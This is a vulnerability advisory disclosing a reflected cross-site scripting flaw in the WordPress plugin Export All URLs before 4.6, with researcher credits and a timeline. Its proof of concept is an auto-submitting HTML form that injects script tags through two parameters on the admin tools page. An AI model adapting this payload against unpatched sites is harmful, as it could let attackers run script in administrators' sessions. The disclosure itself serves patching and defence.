WordPress Plugin Vulnerabilities

Export All URLs < 4.6 - Reflected XSS

Description

The plugin does not sanitise and escape a parameter before outputting them back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in admin open a page containing the HTML code below

<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/tools.php?page=extract-all-urls-settings" method="POST">
        <input type="hidden" name="starting-point" value='"><script>alert(/XSS-starting-point/)</script>' />
       <input type="hidden" name="ending-point" value='"><script>alert(/XSS-ending-point/)</script>' />
        <input type="submit" value="submit">
    </form>
</body>

Affects Plugins

Fixed in 4.6

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
Christiaan Swiers
Submitter
Christiaan Swiers
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-06-19 (about 1 years ago)
Added
2023-06-19 (about 1 years ago)
Last Updated
2023-06-19 (about 1 years ago)

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